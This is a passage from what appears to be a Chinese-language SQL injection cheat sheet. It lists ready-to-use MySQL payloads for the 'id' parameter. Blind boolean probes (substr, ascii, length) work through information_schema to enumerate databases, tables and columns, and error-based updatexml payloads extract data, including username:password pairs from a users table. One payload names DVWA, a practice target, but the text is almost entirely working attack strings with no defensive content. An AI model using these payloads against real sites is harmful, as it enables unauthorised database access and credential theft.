-当前数据库 ?id=1' and substr(database(),1,1)='a'# ?id=1' and substr(database(),2,1)='a'# ?id=1' and ascii(substr(database(),2,1))=97# -所有数据库 --数据库总数 ?id=1' and (select count(schema_name) from information_schema.schemata)=6# --第一个数据库库名长度 ?id=1' and length((select schema_name from information_schema.schemata limit 0,1))=18 # --爆库名 ?id=1' and substr((select schema_name from information_schema.schemata limit 0,1),1,1)='a' ?id=1' and ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))=97#
查询数据库表名
1 2 3 4 5 6 7
-判断有几个表名 ?id=1' and (select count(table_name) from information_schema.tables where table_schema='数据库名')=2 # -判断第一个表名长度 1' and length((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1))<15# -爆表名 1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='a' # 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=97 #
查询数据库列名
1 2 3 4 5 6 7
-判断查询的表有多少列 ?id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='表名')=8 # -判断每一列的列名长 ?id=1' and length((select column_name from information_schema.columns where table_schema= '数据库名' and table_name= '表名' limit 0,1))=7# -判断第一列列名 ?id=1' and substr((select column_name from information_schema.columns where table_schema= '数据库名' and table_name= '表名' limit 0,1),1,1))='p'# ?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema= '数据库名' and table_name= '表名' limit 0,1),1,1)))=97#
获取信息
1 2 3 4 5 6 7
-判断列中有几条记录 ?id=1' and (select count(*) from 数据库名.表名)=5# -判断这一列的第一条记录的长度是否为5 ?id=1' and length(substr((select 列名 from 表名 limit 0,1),1))=5# -判断这一列的第一条记录的第一个字段是否为a ?id=1' and substr((select user from users limit 0,1),1,1)='a'# ?id=1' and ascii(substr((select user from users limit 0,1),1,1))=97#
?id=1' and (select updatexml(1,concat('~',(select database()),0x7e),1))#
查表名
1 2 3
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x7e),1)#
?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='数据库名' limit 0,1),0x7e),1)#
查列名
1 2 3
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name="TABLE_NAME"),0x7e),1)#
?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1),0x7e),1)#
查数据
1 2 3 4
?id=1' and updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME)from TABLE_NAME),0x7e),1)#
?id=1' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password) from users limit 0,1),0x7e),1)#